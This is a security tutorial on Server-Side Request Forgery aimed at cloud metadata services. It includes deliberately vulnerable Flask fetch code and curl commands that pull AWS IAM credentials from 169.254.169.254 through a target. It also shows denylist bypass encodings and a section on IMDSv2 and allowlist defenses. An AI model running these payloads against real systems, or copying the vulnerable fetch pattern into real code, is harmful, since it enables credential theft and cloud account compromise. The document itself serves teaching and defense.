Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Server-Side Request Forgery (SSRF) is a vulnerability class in which an attacker induces a server to issue an HTTP (or other protocol) request on the attacker’s behalf, to a destination the attacker chooses rather than the destination the developer intended. The server is doing exactly what it was built to do — fetch a URL, load a webhook, generate a PDF from a remote page, proxy an image — the problem is that the *destination* of that fetch is attacker-controlled and the server is trusted by everything sitting behind it: internal APIs, cloud control planes, and localhost-bound admin panels that were never designed to be reachable from the public internet.
The single highest-value SSRF target in cloud environments is the instance metadata service (IMDS) — a link-local HTTP endpoint (169.254.169.254 on AWS, Azure, and GCP alike) that every VM can query, unauthenticated, to retrieve its own configuration, and critically, temporary credentials for any IAM role attached to the instance. An SSRF bug in an app running on EC2 is routinely a straight line from “fetch this URL for me” to full AWS account compromise, because the stolen IAM credentials carry whatever permissions the instance role was granted — S3 buckets, KMS keys, sometimes the ability to create new IAM users.
Attack Prerequisites
SSRF requires a server-side feature that makes outbound requests based on attacker input, plus a lack of restriction on where those requests can go:
- A server-side URL fetch controlled by user input — webhooks, “import from URL”, PDF/screenshot generators, image proxies/resizers, URL preview/unfurl features, XML parsers that resolve external entities, or any integration that calls out based on a client-supplied hostname.
- No allowlist restricting destination hosts — the server will fetch any URL scheme/host/port the attacker supplies, rather than being restricted to a small set of known-good external domains.
- Network reachability from the vulnerable server to the target — internal RFC1918 ranges,
localhost, or the cloud metadata link-local address (169.254.169.254) must be reachable from the server process, which is true by default on virtually every cloud VM and container. - IMDSv1 enabled (or IMDSv2 misconfigured) for the metadata-theft variant specifically — IMDSv1 answers plain GET requests with no session token, which is exactly what a basic SSRF primitive can issue.
How It Works
From the vulnerable server’s point of view, there is no difference between “fetch the image the user pasted a link to” and “fetch a resource on the internal network” — both are just an outbound HTTP GET. The trust boundary that protects internal services (firewalls, security groups, VPC routing) is drawn around the server’s *network position*, not around who asked it to make the request. SSRF exploits exactly this gap: the attacker cannot reach 10.0.0.5:8080 or 169.254.169.254 directly from the internet, but the vulnerable server can, and it will happily do so on the attacker’s behalf if the URL is attacker-controlled.
Cloud instance metadata services make this especially dangerous because they are unauthenticated-by-default and reachable only from the instance itself via a link-local address that is not routable off-box. That design assumes only trusted, local processes on the VM can reach it — an assumption SSRF directly violates, since the vulnerable web server *is* a trusted local process, just now issuing attacker-directed requests. On AWS, GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> returns JSON containing an AccessKeyId, SecretAccessKey, and Token — valid, temporary AWS credentials loadable directly into the AWS CLI.
Filtering SSRF is notoriously hard because there are many equivalent ways to encode the same destination: decimal/octal/hex IP notation (http://2852039166/), IPv6-mapped IPv4 (http://[::ffff:169.254.169.254]/), DNS rebinding (a domain that resolves to an allowed IP at validation time and to 169.254.169.254 at fetch time), open redirects on an allowed host that the fetcher follows blindly, and URL parser inconsistencies where the validation library and the actual HTTP client disagree about which host a malformed URL like http://allowed.com@169.254.169.254/ actually points to.
Vulnerable Code / Configuration
The vulnerable pattern is a server-side fetch that takes a client-supplied URL and requests it with no host validation whatsoever — a common shape for “import from URL” or webhook-preview features:
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
# VULNERABLE: no scheme/host allowlist, no block on link-local /
# RFC1918 ranges, redirects followed by default.
resp = requests.get(url, timeout=5)
return resp.text
# GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/
# security-credentials/ now returns the instance's IAM role name,
# and a follow-up call to that same path + '/<role-name>' returns
# live temporary AWS credentials.
PythonEven code that *tries* to filter is frequently bypassable because it validates the string, not the resolved connection — a naive denylist misses IPv6-mapped and decimal IP encodings entirely:
# STILL VULNERABLE: string-based denylist, easily bypassed.
BLOCKED = ['169.254.169.254', 'localhost', '127.0.0.1']
def fetch(url):
from urllib.parse import urlparse
host = urlparse(url).hostname
if host in BLOCKED:
raise ValueError('blocked host')
return requests.get(url, timeout=5) # follows redirects by default
# Bypasses: http://[::ffff:169.254.169.254]/ (IPv6-mapped)
# http://2852039166/ (decimal IP for 169.254.169.254)
# http://allowed.example/redirect?to=http://169.254.169.254/
# (server follows the 302 to the metadata IP)
PythonThe IMDS-side half of the vulnerability is a configuration issue, not a code bug: an EC2 instance with HttpTokens set to optional (IMDSv1 permitted) will answer unauthenticated GET requests, which is all a basic SSRF primitive needs. HttpTokens = required (IMDSv2-only) forces a PUT with a custom header to obtain a session token first, which most naive SSRF primitives (a GET-only URL fetch) cannot perform.
Walkthrough / Exploitation
Step 1 — confirm the server makes outbound requests and point it at an attacker-controlled listener to prove blind SSRF and fingerprint the fetch behavior (redirects, headers, timeouts):
curl 'https://target/fetch?url=http://YOUR-COLLABORATOR-HOST/probe'
# check the collaborator/interactsh log for the inbound hit and its
# User-Agent -- confirms the fetch is server-side, not client-side.
BashStep 2 — pivot to the AWS metadata service and enumerate the IAM role attached to the instance:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: target
# Response body: the role name, e.g. "app-server-role"
HTTPStep 3 — request the credentials for that role and load them into the AWS CLI to confirm access:
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role'
# {"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"...",
# "Expiration":"2026-07-12T18:00:00Z"}
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls # enumerate what the stolen role can reach
BashStep 4 — if a naive denylist blocks the literal string 169.254.169.254, encode around it rather than through it:
# IPv6-mapped IPv4 form
curl 'https://target/fetch?url=http://[::ffff:169.254.169.254]/latest/meta-data/'
# decimal IP notation for 169.254.169.254
curl 'https://target/fetch?url=http://2852039166/latest/meta-data/'
# open-redirect pivot through an allowed host, if the fetcher follows 3xx
curl 'https://target/fetch?url=https://allowed.example/redirect?to=http://169.254.169.254/latest/meta-data/'
BashNote: Azure’s metadata endpoint requires the header
Metadata: trueand GCP’s requiresMetadata-Flavor: Google, which a plain SSRF primitive usually cannot set — this is a meaningful mitigating factor on those platforms compared to AWS IMDSv1, where a bare unauthenticated GET is sufficient.
Opsec: Treat any credentials pulled from IMDS as short-lived and highly sensitive — log the exact
Expirationtimestamp returned, avoid unnecessaryawsAPI calls beyond what is needed to demonstrate impact, and never exfiltrate the raw key material into report screenshots; redact theSecretAccessKey/Tokenvalues when documenting findings.
Detection and Defense
SSRF defense combines application-layer controls with platform-level hardening of the metadata service itself:
- Enforce IMDSv2 on every instance (
HttpTokens=requiredin the EC2 launch/instance-metadata options) — this is the single highest-leverage fix, since it requires a stateful PUT-then-GET with a custom header that most SSRF primitives cannot replicate. - Allowlist outbound destinations at the application layer — validate against a small, explicit set of permitted hosts/schemes rather than trying to denylist bad ones.
- Resolve and validate the IP, not just the hostname, immediately before connecting (to defeat DNS rebinding), and reject link-local (
169.254.0.0/16), loopback, and RFC1918 ranges unless explicitly needed. - Disable automatic redirect following, or re-validate the destination after every redirect hop.
- Network-level egress filtering — security groups / NACLs that block the application tier from reaching
169.254.169.254outright (where IMDSv2 isn’t sufficient on its own) and segment internal services behind authentication rather than relying on network position alone. - Monitor CloudTrail for anomalous
AssumeRole/API activity using instance-role credentials from unexpected source IPs or in unusual call patterns, and alert on outbound requests to169.254.169.254in application logs.
Real-World Impact
SSRF-to-metadata is one of the most consequential vulnerability chains in cloud-hosted applications precisely because it converts an application-layer bug into an infrastructure-layer credential theft, and it has been the root cause of several large, publicly documented cloud breaches where a web-application-firewall-fronted app was tricked into leaking IAM credentials via its own reverse-proxy or import feature. It is consistently listed among the OWASP Top 10 (A10:2021 – Server-Side Request Forgery) as its own dedicated category, a reflection of how common and how severe this class has become as workloads moved to cloud platforms with metadata-based credential issuance.
Conclusion
SSRF turns a trusted server into an attacker-controlled proxy into every network the server can reach, and cloud metadata services turn that proxy access into stolen IAM credentials. The fix is layered: validate and allowlist destinations at the application layer, resolve and re-check IPs immediately before connecting, and — regardless of how well the application code is written — enforce IMDSv2 everywhere so that even a successful SSRF primitive cannot complete the simple unauthenticated GET that IMDSv1 would have accepted.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments